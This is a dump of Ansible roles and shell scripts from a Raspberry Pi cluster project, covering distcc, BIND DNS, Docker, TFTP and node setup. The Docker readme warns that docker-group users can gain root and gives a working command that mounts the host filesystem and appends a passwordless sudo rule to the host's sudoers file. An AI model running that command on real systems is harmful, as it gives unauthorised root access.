/ansible/roles/distcc/defaults/main.yml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/ansible/roles/distcc/defaults/main.yml -------------------------------------------------------------------------------- /ansible/roles/distcc/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | - name: distcc-restart 5 | service: 6 | name: distcc 7 | state: restarted 8 | become: true 9 | become_user: root 10 | -------------------------------------------------------------------------------- /ansible/roles/distcc/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: distcc 4 | author: crgm 5 | description: distributed compiling 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | dependencies: 14 | - role: base-system 15 | -------------------------------------------------------------------------------- /ansible/roles/distcc/templates/distcc_conf.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # ansible role: {{role_path|basename}} 3 | 4 | STARTDISTCC="true" 5 | 6 | ALLOWEDNETS="{{ rpi_net_id }}/{{ rpi_net_maskbit }}" 7 | 8 | LISTENER="0.0.0.0" 9 | 10 | NICE="10" 11 | 12 | # one job per cpu core 13 | JOBS="4" 14 | 15 | ZEROCONF="true" 16 | -------------------------------------------------------------------------------- /ansible/roles/distcc/templates/distcc_kern.j2: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # https://www.raspberrypi.org/documentation/linux/kernel/building.md 4 | 5 | rpilogit () { 6 | echo -e "rpicluster: $1 \n"; 7 | logger -t rpicluster "$1"; 8 | } 9 | 10 | cd /opt/cluster/mysrc/ 11 | 12 | rpilogit "cloning linux kernel source "; 13 | 14 | git clone --depth=1 https://github.com/raspberrypi/linux 15 | 16 | # for V3 17 | cd linux 18 | KERNEL=kernel7 19 | make bcm2709_defconfig 20 | 21 | /usr/bin/distcc-pump make zImage modules dtbs -j4 CC="distcc gcc -std=gnu99" 22 | #sudo make modules_install 23 | #sudo cp -- arch/arm/boot/dts/*.dtb /boot/ 24 | #sudo cp -- arch/arm/boot/dts/overlays/*.dtb* /boot/overlays/ 25 | #sudo cp arch/arm/boot/dts/overlays/README /boot/overlays/ 26 | #sudo cp arch/arm/boot/zImage /boot/$KERNEL.img 27 | -------------------------------------------------------------------------------- /ansible/roles/distcc/templates/distcc_test.j2: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd /opt/cluster/mysrc/ || exit 1; 4 | 5 | download_file="bash-5.0.tar.gz" 6 | 7 | wget -- ftp://ftp.gnu.org/pub/gnu/bash/$download_file; 8 | 9 | filehash=$(sha512sum $download_file | cut -d' ' -f1) 10 | 11 | if [ "$filehash" = "bb4519f06e278f271d08722b531e49d2e842cc3e0b02a6b3eee422e2efcb5b6226111af43f5e5eae56beb85ac8bfebcd6a4aacbabb8f609e529aa4d571890864" ] ; then 12 | echo "sha512 sum is OK"; 13 | else 14 | echo "BAD sha512 sum"; 15 | exit 1; 16 | fi 17 | 18 | file $download_file | grep "gzip compressed data" || exit 1; 19 | 20 | tar xf $download_file || { echo "ERROR extracting source"; exit 1; } 21 | 22 | cd bash-5.0 || exit 1; 23 | 24 | ./configure 25 | 26 | distcc --show-hosts 27 | 28 | distcc-pump make -j2 CC="distcc gcc -std=gnu99" 29 | -------------------------------------------------------------------------------- /ansible/roles/distcc/templates/hostscompute.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # ansible role: {{role_path|basename}} 3 | # 4 | # As described in the distcc manpage, this file can be used for a global 5 | # list of available distcc hosts. 6 | # 7 | # The list from this file will only be used, if neither the 8 | # environment variable DISTCC_HOSTS, nor the file $HOME/.distcc/hosts 9 | # contains a valid list of hosts. 10 | # 11 | # Add a list of hostnames in one line, seperated by spaces, here. 12 | # 13 | # -- Compute: -- 14 | # 15 | {% for host in groups['compute'] %} 16 | {{ hostvars[host]['rpi_ip'] }},cpp,lzo 17 | {% endfor %} 18 | -------------------------------------------------------------------------------- /ansible/roles/dns-server/defaults/main.yml: -------------------------------------------------------------------------------- 1 | 2 | rpi_dnsd_status: "secondary" 3 | rpi_dnsd_notify: "no" 4 | -------------------------------------------------------------------------------- /ansible/roles/dns-server/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | # Restart DNS server 5 | - name: bind-restart 6 | service: 7 | name: bind9 8 | state: restarted 9 | become: true 10 | changed_when: False 11 | -------------------------------------------------------------------------------- /ansible/roles/dns-server/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: dns-server 4 | author: crgm 5 | description: DNS server for the cluster. With custom TLD. 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | dependencies: 14 | - role: base-system 15 | -------------------------------------------------------------------------------- /ansible/roles/dns-server/reame.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | DNS for Rocket Scientists: http://www.zytrax.com/books/dns/ 4 | 5 | 6 | How to force secondary Name server to update/refresh dns zones from primary server: 7 | 8 | ``` 9 | rndc reload b3rry.clust0r 10 | ``` 11 | -------------------------------------------------------------------------------- /ansible/roles/dns-server/tasks/master-zone.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Raspberry Pi cluster Zone file for Master 3 | 4 | 5 | - name: rpi dns zone file 6 | template: 7 | src: db_rpi.j2 8 | dest: /etc/bind/zones/{{ rpi_dnsd_status }}/{{ rpi_cust_tld }}.db 9 | owner: bind 10 | group: bind 11 | mode: 0664 12 | validate: '/usr/sbin/named-checkzone {{ rpi_dnsd_status }}.{{ rpi_cust_tld }} %s' 13 | become: true 14 | notify: bind-restart 15 | when: 16 | - rpi_dnsd_status == "master" 17 | 18 | 19 | #- name: test rpi zone db and dump as text 20 | - name: check and dump db_rpi.db 21 | command: | 22 | /usr/sbin/named-compilezone -F text \ 23 | -o /opt/cluster/lanservice/zones.txt {{ rpi_cust_domain }}.{{ rpi_cust_tld }} \ 24 | /etc/bind/zones/{{ rpi_dnsd_status }}/{{ rpi_cust_tld }}.db 25 | changed_when: False 26 | when: 27 | - rpi_dnsd_status == "master" 28 | 29 | 30 | - name: Set extended attribute 'trusted.rpi-cluster.file-validate' 31 | xattr: 32 | path: /etc/bind/zones/{{ rpi_dnsd_status }}/{{ rpi_cust_tld }}.db 33 | key: rpi-cluster.file 34 | value: validate 35 | namespace: trusted 36 | become: true 37 | when: 38 | - rpi_dnsd_status == "master" 39 | -------------------------------------------------------------------------------- /ansible/roles/dns-server/templates/etc/bind/named_conf_default_zones.j2: -------------------------------------------------------------------------------- 1 | // {{ ansible_managed }} 2 | // node: {{ rpi_dnsd_status }} 3 | // role: {{role_path|basename}} 4 | // file: /etc/bind/named.conf.default-zones 5 | 6 | // prime the server with knowledge of the root servers 7 | //zone "." { 8 | // type hint; 9 | // file "/etc/bind/db.root"; 10 | //}; 11 | 12 | // be authoritative for the localhost forward and reverse zones, and for 13 | // broadcast zones as per RFC 1912 14 | 15 | zone "localhost" { 16 | type master; 17 | file "/etc/bind/db.local"; 18 | }; 19 | 20 | zone "127.in-addr.arpa" { 21 | type master; 22 | file "/etc/bind/db.127"; 23 | }; 24 | 25 | zone "0.in-addr.arpa" { 26 | type master; 27 | file "/etc/bind/db.0"; 28 | }; 29 | 30 | zone "255.in-addr.arpa" { 31 | type master; 32 | file "/etc/bind/db.255"; 33 | }; 34 | -------------------------------------------------------------------------------- /ansible/roles/dns-server/templates/etc/bind/named_conf_local.j2: -------------------------------------------------------------------------------- 1 | // {{ ansible_managed }} 2 | // type: {{ rpi_dnsd_status }} 3 | // role: {{role_path|basename}} 4 | // file: /etc/bind/named.conf.local 5 | 6 | // Custom TLD 7 | 8 | {% if 'master' in rpi_dnsd_status %} 9 | zone "{{ rpi_cust_tld }}" { 10 | type master; 11 | file "/etc/bind/zones/{{ rpi_dnsd_status }}/{{ rpi_cust_tld }}.db"; 12 | masterfile-format text; 13 | allow-update { key "rndckey"; }; 14 | allow-transfer { trusted; }; 15 | allow-query { rpinet; }; 16 | notify yes; 17 | also-notify { {{ hostvars['alpha']['rpi_ip'] }}; {{ hostvars['beta']['rpi_ip'] }}; }; 18 | }; 19 | {% endif %} 20 | 21 | {% if 'secondary' in rpi_dnsd_status %} 22 | zone "{{ rpi_cust_tld }}" { 23 | type slave; 24 | masters { {{ hostvars['alpha']['rpi_ip'] }}; }; 25 | masterfile-format map; 26 | file "/etc/bind/zones/{{ rpi_dnsd_status }}/{{ rpi_cust_tld }}.db"; 27 | allow-transfer { trusted; }; 28 | allow-query { rpinet; }; 29 | }; 30 | {% endif %} 31 | 32 | 33 | -------------------------------------------------------------------------------- /ansible/roles/dns-server/templates/etc/default/bind.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # run resolvconf? 3 | RESOLVCONF=no 4 | 5 | # startup options for the server 6 | # ipv4 onyl 7 | OPTIONS="-4 -u bind" 8 | -------------------------------------------------------------------------------- /ansible/roles/dns-server/templates/resolv_conf.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # 3 | domain dc1.{{ rpi_cust_domain }}.{{ rpi_cust_tld }} 4 | # this admin node 5 | nameserver 127.0.0.1 6 | # other admin node 7 | nameserver {{ rpi_failover_ip }} 8 | # 9 | # search 10 | search dc1.{{ rpi_cust_domain }}.{{ rpi_cust_tld }} 11 | -------------------------------------------------------------------------------- /ansible/roles/dns-server/vars/main.yml: -------------------------------------------------------------------------------- 1 | 2 | bind_dir: [ 3 | { dir: '/etc/bind/zones/', mode: '0775', owner: 'bind', group: 'bind' }, 4 | { dir: '/var/log/named/', mode: '0775', owner: 'bind', group: 'bind' }, 5 | { dir: '/var/named/data/', mode: '0770', owner: 'bind', group: 'bind' }, 6 | ] 7 | -------------------------------------------------------------------------------- /ansible/roles/docker/defaults/main.yml: -------------------------------------------------------------------------------- 1 | 2 | 3 | docker_dir: [ 4 | { dir: '/opt/cluster/docker/', mode: '0770', owner: "{{ ansible_user_id }}", group: "{{ ansible_user_id }}" }, 5 | { dir: '/opt/cluster/docker/compose/', mode: '0770', owner: "{{ ansible_user_id }}", group: "{{ ansible_user_id }}" }, 6 | { dir: '/opt/cluster/docker/scripts/', mode: '0770', owner: "{{ ansible_user_id }}", group: "{{ ansible_user_id }}" }, 7 | { dir: '/opt/cluster/docker/volumes/', mode: '0770', owner: "{{ ansible_user_id }}", group: "{{ ansible_user_id }}" } 8 | ] 9 | 10 | docker_script: [ 11 | {file: 'rm_all_images.sh'}, 12 | {file: 'remove_docker.sh'} 13 | ] 14 | 15 | -------------------------------------------------------------------------------- /ansible/roles/docker/files/remove_docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # clean up docker a installation 4 | # 5 | # Usage: 6 | # 7 | # ansible compute -a "/opt/cluster/docker/scripts/remove_docker.sh" --become -f 10 8 | 9 | # run as root 10 | if [[ root != "$(whoami)" ]]; then 11 | echo "Error: requires root"; 12 | exit 1; 13 | fi 14 | 15 | rpilogit () { 16 | echo -e "rpicluster: remove_docker.sh $1 \n"; 17 | logger -t rpicluster "remove_docker.sh $1"; 18 | } 19 | 20 | rpilogit "started" 21 | 22 | # Purge all Images + Containers + Networks + Volumes 23 | if [ -f /usr/bin/docker ]; then 24 | docker system prune -a -f >/dev/null 25 | fi 26 | 27 | # stop daemon 28 | systemctl stop docker.service 29 | systemctl stop docker.socket 30 | 31 | # purge 32 | apt-get -y -q purge docker-ce --allow-change-held-packages || exit 1 33 | 34 | rm -fv -- /etc/apt/sources.list.d/docker.list 35 | rm -fv -- /etc/apt/preferences.d/docker-ce 36 | rm -rfv -- /etc/docker/key.json 37 | rm -rfv -- /var/lib/docker/ 38 | rm -rfv -- /var/run/docker/ 39 | rm -rfv -- /etc/docker/ 40 | rm -fv -- /usr/local/bin/docker-machine 41 | rm -fv -- /opt/cluster/mysrc/getdocker.sh 42 | rm -rfv -- /opt/cluster/mysrc/docker-gc 43 | 44 | rm -rfv -- /opt/cluster/docker/docker-installed.txt 45 | 46 | rpilogit "finished" 47 | 48 | #rm -rfv /opt/cluster/bin/remove_docker.sh 49 | -------------------------------------------------------------------------------- /ansible/roles/docker/files/rm_all_images.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rpilogit () { 4 | echo -e "rpicluster: $1 \n"; 5 | logger -t rpicluster "$1"; 6 | } 7 | 8 | rpilogit "started rm_all_images.sh"; 9 | 10 | # stop all containers 11 | docker stop $(docker ps -a -q) 12 | 13 | # Delete all containers 14 | docker rm $(docker ps -a -q) 15 | 16 | # Delete all images (forced) 17 | docker rmi -f $(docker images -q) 18 | 19 | rpilogit "finished rm_all_images.sh - all docker containers deleted"; 20 | -------------------------------------------------------------------------------- /ansible/roles/docker/readme.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Users in the docker group can get root on the host, for example: 5 | 6 | 7 | ``` 8 | docker run -it --rm --privileged -v /:/mnt ubuntu bash 9 | echo 'ALL=(ALL) NOPASSWD:ALL' >> /mnt/etc/sudoers 10 | ``` 11 | -------------------------------------------------------------------------------- /ansible/roles/docker/tasks/docker_hello_world.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - debug: msg="test run of hello world " 3 | 4 | 5 | # https://hub.docker.com/_/hello-world/ 6 | 7 | 8 | #- name: pull hello-world 9 | # docker_image: 10 | # name: _/hello-world 11 | # source: pull 12 | # register: pull-docker-hello-world 13 | # tags: [docker] 14 | 15 | 16 | - name: pull hello world 17 | command: docker pull hello-world 18 | changed_when: false 19 | become: true 20 | tags: [docker] 21 | 22 | 23 | - name: run hello world 24 | command: docker run hello-world 25 | changed_when: false 26 | register: docker_hello_world 27 | become: true 28 | failed_when: 29 | - "'installation appears to be working correctly' not in docker_hello_world.stdout" 30 | tags: [docker] -------------------------------------------------------------------------------- /ansible/roles/docker/tasks/manage_tools.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - debug: msg="docker manage_tools role " 3 | 4 | 5 | # Docker garbage collection of containers and images 6 | # https://github.com/spotify/docker-gc 7 | - name: docker garbage collection tool 8 | git: 9 | repo: https://github.com/spotify/docker-gc.git 10 | dest: /opt/cluster/mysrc/docker-gc/ 11 | update: no 12 | register: dockergc_clone 13 | tags: 14 | - skip_ansible_lint 15 | -------------------------------------------------------------------------------- /ansible/roles/docker/vars/default: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /ansible/roles/ftp-server/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | - name: ftpd-restart 5 | service: name=tftpd-hpa state=restarted 6 | become: true 7 | -------------------------------------------------------------------------------- /ansible/roles/ftp-server/templates/default.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # /etc/default/tftpd-hpa 3 | 4 | TFTP_USERNAME="tftp" 5 | TFTP_DIRECTORY="/srv/tftp" 6 | TFTP_ADDRESS="0.0.0.0:69" 7 | TFTP_OPTIONS="--secure" 8 | -------------------------------------------------------------------------------- /ansible/roles/ftp-server/templates/welcome.j2: -------------------------------------------------------------------------------- 1 | tftpd-hpa on {{ ansible_nodename }} 2 | -------------------------------------------------------------------------------- /ansible/roles/ftp-server/vars/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | common_ftp_dir: [ 5 | { dir: '/srv/tftp/pxelinux', mode: '0755', owner: 'root', group: 'root' }, 6 | { dir: '/srv/tftp/dl/', mode: '0755', owner: 'root', group: 'root' } 7 | ] -------------------------------------------------------------------------------- /ansible/roles/golang/defaults/main.yml: -------------------------------------------------------------------------------- 1 | 2 | golang_shasum: "sha256:26259f61d52ee2297b1e8feef3a0fc82144b666a2b95512402c31cc49713c133" 3 | goland_targz: "go1.13.5.linux-armv6l.tar.gz" 4 | -------------------------------------------------------------------------------- /ansible/roles/golang/templates/build_go_hello.j2: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # created by role: {{role_path|basename}} 3 | 4 | export PATH=$PATH:/usr/local/go/bin 5 | 6 | mkdir -pv $HOME/go/src/hello 7 | cd $HOME/go/src/hello || exit 1; 8 | 9 | cat > $HOME/go/src/hello/hello.go << EOF 10 | 11 | package main 12 | 13 | import "fmt" 14 | 15 | func main() { 16 | fmt.Printf("Hello, from Golang on {{ inventory_hostname }}.\n") 17 | } 18 | EOF 19 | 20 | go build 21 | 22 | ./hello >> /var/log/rpicluster.log 23 | -------------------------------------------------------------------------------- /ansible/roles/group-compute/files/rpi-compute.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=rpi-compute.service 3 | Requires=network-online.target 4 | After=network-online.target 5 | 6 | [Service] 7 | User=root 8 | ExecStart=/root/bin/compute-boot.sh 9 | 10 | [Install] 11 | WantedBy=multi-user.target 12 | -------------------------------------------------------------------------------- /ansible/roles/group-compute/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: systemctl-daemon-reload 4 | systemd: 5 | daemon_reload: true 6 | become: true 7 | 8 | - name: restart-rpicompute 9 | service: 10 | name: rpi-compute.service 11 | state: restarted 12 | become: true 13 | -------------------------------------------------------------------------------- /ansible/roles/group-compute/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: group-compute 4 | author: crgm 5 | description: actions for compute nodes 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | allow_duplicates: no 14 | dependencies: 15 | - { role: userac } 16 | - { role: base-system } 17 | - { role: ssh-server } 18 | -------------------------------------------------------------------------------- /ansible/roles/group-compute/tasks/compute-security.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Blacklist usb storage kernel module 4 | kernel_blacklist: 5 | name: usb_storage 6 | state: present 7 | become: true 8 | tags: [computenode] 9 | 10 | - name: Blacklist usbhid kernel moduel 11 | kernel_blacklist: 12 | name: usbhid 13 | state: present 14 | become: true 15 | tags: [computenode] 16 | 17 | - name: Blacklist joydev kernel moduel 18 | kernel_blacklist: 19 | name: joydev 20 | state: present 21 | become: true 22 | tags: [computenode] 23 | -------------------------------------------------------------------------------- /ansible/roles/group-compute/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Role for nodes in the Compute group. 3 | 4 | - debug: msg="compute node tasks " 5 | tags: [computenode] 6 | 7 | 8 | # java 9 | - name: java 10 | apt: 11 | name: "{{ item }}" 12 | state: present 13 | loop: 14 | - ca-certificates-java 15 | - openjdk-8-jdk 16 | become: true 17 | retries: 2 18 | tags: [computenode] 19 | 20 | 21 | # hardening tasks for this group 22 | - import_tasks: compute-security.yml 23 | 24 | # custom systemd service "rpi-compute" 25 | - import_tasks: systemd-cust.yml 26 | 27 | 28 | - name: output to rpicluster log 29 | command: logger -t rpicluster compute-node role ran 30 | changed_when: False 31 | tags: [computenode] 32 | 33 | 34 | - name: roles info txt 35 | lineinfile: 36 | path: /opt/cluster/data/info_roles.txt 37 | line: "{{ role_path|basename }}" 38 | owner: root 39 | group: root 40 | mode: 0444 41 | become: true 42 | tags: [computenode] 43 | -------------------------------------------------------------------------------- /ansible/roles/group-compute/tasks/systemd-cust.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # copy compute-boot.sh 4 | - name: compute-boot script 5 | template: 6 | src: compute-boot.j2 7 | dest: /root/bin/compute-boot.sh 8 | validate: /bin/bash -n %s 9 | mode: 0770 10 | owner: root 11 | group: root 12 | become: true 13 | tags: [computenode] 14 | 15 | # systemd script 16 | - name: copy rpi compute systemd script 17 | copy: 18 | src: rpi-compute.service 19 | dest: /etc/systemd/system/rpi-compute.service 20 | mode: 0644 21 | owner: root 22 | group: root 23 | become: true 24 | changed_when: false 25 | notify: 26 | - systemctl-daemon-reload 27 | - restart-rpicompute 28 | tags: [computenode] 29 | 30 | - name: enable rpi-compute systemd script 31 | systemd: 32 | name: rpi-compute 33 | enabled: true 34 | masked: no 35 | become: true 36 | tags: [computenode] 37 | -------------------------------------------------------------------------------- /ansible/roles/group-deployer-ssh-client/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: group-deployer-ssh-client 4 | author: crgm 5 | description: This role is run on the Deployer node. It populates ~/.ssh/config and /etc/hosts with all nodes in our inventory. 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | -------------------------------------------------------------------------------- /ansible/roles/group-deployer-ssh-client/readme.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ansible/roles/group-deployer-ssh-client/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # uses inventory, but all actions are on localhost 3 | - debug: msg="group deployer ssh " 4 | 5 | 6 | - debug: msg="inventory_hostname {{ inventory_hostname }} " 7 | ignore_errors: True 8 | changed_when: False 9 | 10 | 11 | - name: users ssh client config 12 | template: 13 | src: ssh_client_conf.j2 14 | dest: ~/.ssh/config 15 | delegate_to: localhost 16 | run_once: true 17 | 18 | 19 | - name: put inventory into etc hosts 20 | template: 21 | src: etc/hosts.j2 22 | dest: /etc/hosts 23 | delegate_to: localhost 24 | become: true 25 | run_once: true 26 | 27 | 28 | # we will put the public CA key into /etc/ssh/ssh_known_hosts 29 | 30 | 31 | - name: /etc/ethers 32 | template: 33 | src: etc/ethers.j2 34 | dest: /etc/ethers 35 | mode: 0644 36 | become: true 37 | delegate_to: localhost 38 | register: static_arp_update 39 | run_once: true 40 | 41 | 42 | - name: update state arp entries 43 | shell: /usr/sbin/arp -f /etc/ethers 44 | become: true 45 | delegate_to: localhost 46 | when: static_arp_update.changed 47 | run_once: true 48 | 49 | 50 | - name: roles info txt 51 | lineinfile: 52 | path: /opt/cluster/data/info_roles.txt 53 | line: "{{ role_path|basename }}" 54 | owner: root 55 | group: root 56 | mode: 0444 57 | become: true 58 | delegate_to: localhost 59 | run_once: true 60 | -------------------------------------------------------------------------------- /ansible/roles/group-deployer-ssh-client/templates/etc/ethers.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # setup by role: {{role_path|basename}} 3 | # 4 | # static arp entries for Deployer R-Pi 5 | # default gw 6 | {{ rpi_net_default_gw }} {{ rpi_net_default_gw_mac }} 7 | # 8 | # compute 9 | {% if groups['compute'] is defined %} 10 | {% for host in groups['compute'] %} 11 | {% if host != inventory_hostname %} 12 | {{ hostvars[host]['rpi_ip'] }} {{ hostvars[host]['rpi_mac'] }} 13 | {% endif %} 14 | {% endfor %} 15 | {% endif %} 16 | # 17 | # lanservices 18 | {% if groups['compute'] is defined %} 19 | {% for host in groups['lanservices'] %} 20 | {% if host != inventory_hostname %} 21 | {{ hostvars[host]['rpi_ip'] }} {{ hostvars[host]['rpi_mac'] }} 22 | {% endif %} 23 | {% endfor %} 24 | {% endif %} -------------------------------------------------------------------------------- /ansible/roles/group-deployer-ssh-client/templates/etc/hosts.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # setup by role: {{role_path|basename}} 3 | # 4 | 127.0.0.1 localhost 5 | ::1 localhost ip6-localhost ip6-loopback 6 | ff02::1 ip6-allnodes 7 | ff02::2 ip6-allrouters 8 | # 9 | # ansible inventory hosts: 10 | # 11 | {% for host in groups['all'] %} 12 | {{ hostvars[host]['rpi_ip'] }} {{ hostvars[host]['inventory_hostname'] }} {{ hostvars[host]['inventory_hostname'] }}.local 13 | {% endfor %} 14 | -------------------------------------------------------------------------------- /ansible/roles/group-deployer-ssh-client/templates/ssh_client_conf.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # setup by role: {{role_path|basename}} 3 | #------------------------------------------------------------------------------- 4 | 5 | # all 6 | host * 7 | ServerAliveInterval 30 8 | Compression yes 9 | controlmaster auto 10 | 11 | # hosts ------------------------------------------------------------------------ 12 | {% for host in groups['all'] %} 13 | 14 | # {{ hostvars[host]['inventory_hostname'] }} 15 | {% if hostvars[host]['rpi_racked'] is defined %} 16 | # rack position: {{ hostvars[host]['rpi_racked'] }} 17 | {% endif %} 18 | # mac: {{ hostvars[host]['rpi_mac'] }} 19 | host {{ hostvars[host]['inventory_hostname'] }} {{ hostvars[host]['inventory_hostname'] }}.local 20 | User pi 21 | HostName {{ hostvars[host]['rpi_ip'] }} 22 | {% endfor %} 23 | 24 | #------------------------------------------------------------------------------- 25 | -------------------------------------------------------------------------------- /ansible/roles/group-deployer/defaults/main.yml: -------------------------------------------------------------------------------- 1 | 2 | # folders for deployer 3 | 4 | 5 | # bash scripts for deployer: 6 | group_deployer_script: [ 7 | {src: 'renew-ssh-priv-key.sh', dest: '/opt/cluster/deploy-script/renew-ssh-priv-key.sh'} 8 | ] 9 | -------------------------------------------------------------------------------- /ansible/roles/group-deployer/files/rpi-deployer.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=rpi-deployer.service 3 | Requires=network-online.target 4 | After=network-online.target 5 | 6 | [Service] 7 | User=root 8 | ExecStart=/root/bin/deployer-boot.sh 9 | 10 | [Install] 11 | WantedBy=multi-user.target 12 | -------------------------------------------------------------------------------- /ansible/roles/group-deployer/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: systemctl-daemon-reload 4 | systemd: 5 | daemon_reload: true 6 | become: true 7 | 8 | - name: restart-rpideployer 9 | service: 10 | name: rpi-deployer.service 11 | state: restarted 12 | become: true -------------------------------------------------------------------------------- /ansible/roles/group-deployer/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: group-deployer 4 | author: crgm 5 | description: actions specific to the deployer 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | dependencies: 14 | - { role: userac } 15 | - { role: base-system } 16 | - { role: redis } 17 | -------------------------------------------------------------------------------- /ansible/roles/group-deployer/tasks/dl_packages.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Deployer node packages 3 | - debug: msg="deployer (dl_packages) " 4 | 5 | 6 | - name: tools 7 | apt: 8 | name: "{{ item }}" 9 | state: present 10 | loop: 11 | - pass 12 | - dh-make 13 | - devscripts 14 | - socat 15 | - lynx 16 | - nmap 17 | - toilet 18 | - emacs 19 | - ranger 20 | - mpich 21 | - maven 22 | - neofetch 23 | - proxychains 24 | - autossh 25 | become: true 26 | retries: 2 27 | 28 | 29 | # R - https://packages.debian.org/sid/r-recommended 30 | #- name: install R language tools 31 | # apt: name={{ item }} state=present 32 | # become: true 33 | # loop: 34 | # - r-recommended 35 | # - r-cran-gplots 36 | # - r-cran-plotrix 37 | # - r-cran-tkrplot 38 | # - r-cran-vioplot 39 | # - rlplot 40 | # retries: 2 41 | -------------------------------------------------------------------------------- /ansible/roles/group-deployer/tasks/systemd-cust.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | # copy deployer-boot.sh 4 | - name: deployer-boot script 5 | template: 6 | src: deployer-boot.j2 7 | dest: /root/bin/deployer-boot.sh 8 | validate: /bin/bash -n %s 9 | mode: 0770 10 | owner: root 11 | group: root 12 | become: true 13 | tags: [deployer] 14 | 15 | # systemd script 16 | - name: copy rpi compute systemd script 17 | copy: 18 | src: rpi-deployer.service 19 | dest: /etc/systemd/system/rpi-deployer.service 20 | mode: 0644 21 | owner: root 22 | group: root 23 | become: true 24 | changed_when: false 25 | notify: 26 | - systemctl-daemon-reload 27 | - restart-rpideployer 28 | tags: [deployer] 29 | 30 | - name: enable rpi-deployer systemd script 31 | systemd: 32 | name: rpi-deployer 33 | enabled: true 34 | masked: no 35 | become: true 36 | tags: [deployer] 37 | -------------------------------------------------------------------------------- /ansible/roles/group-deployer/templates/deployer-boot.j2: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # {{ ansible_managed }} 3 | # setup by role: {{role_path|basename}} 4 | # 5 | # this script is run on boot by systemd, rpi-deployer.service 6 | 7 | logger -t rpicluster "deployer-boot.sh started" 8 | 9 | # pre-run checks --------------------------------------------------------------- 10 | 11 | # no LD_PRELOAD 12 | unset LD_PRELOAD 13 | 14 | #------------------------------------------------------------------------------- 15 | 16 | 17 | # create a 1MB tmpfs 18 | if [ ! -f /mnt/ramstore/data/test.txt ]; then 19 | mkdir -p /mnt/ramstore/; 20 | mount -t tmpfs -o size=1m tmpfs /mnt/ramstore; 21 | 22 | # these files exist in Volatile memory! 23 | 24 | mkdir -p /mnt/ramstore/data; 25 | touch -f /mnt/ramstore/data/test.txt; 26 | echo "deployer" > /mnt/ramstore/data/test.txt; 27 | chmod 700 /mnt/ramstore/data; 28 | 29 | mkdir -p /mnt/ramstore/pi; 30 | 31 | # temp SSH key in ram 32 | ssh-keygen -q -N "" -o -f /mnt/ramstore/pi/id_ecdsa_temp -t ecdsa 33 | chown pi:pi -R /mnt/ramstore/pi/* 34 | chmod 700 /mnt/ramstore/pi/ 35 | fi 36 | 37 | 38 | # turn off red power LED 39 | echo 1 | tee /sys/class/leds/led1/brightness 40 | echo 0 | tee /sys/class/leds/led1/brightness 41 | 42 | logger -t rpicluster "deployer-boot.sh finished" 43 | 44 | #------------------------------------------------------------------------------- 45 | -------------------------------------------------------------------------------- /ansible/roles/group-deployer/templates/ramstore.j2: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # {{ ansible_managed }} 3 | # setup by role: {{role_path|basename}} 4 | 5 | mkdir -pv /mnt/ramstore/data/ 6 | 7 | # create a 2MB tmpfs 8 | if [ ! -f /mnt/ramstore/data/test.txt ]; then 9 | 10 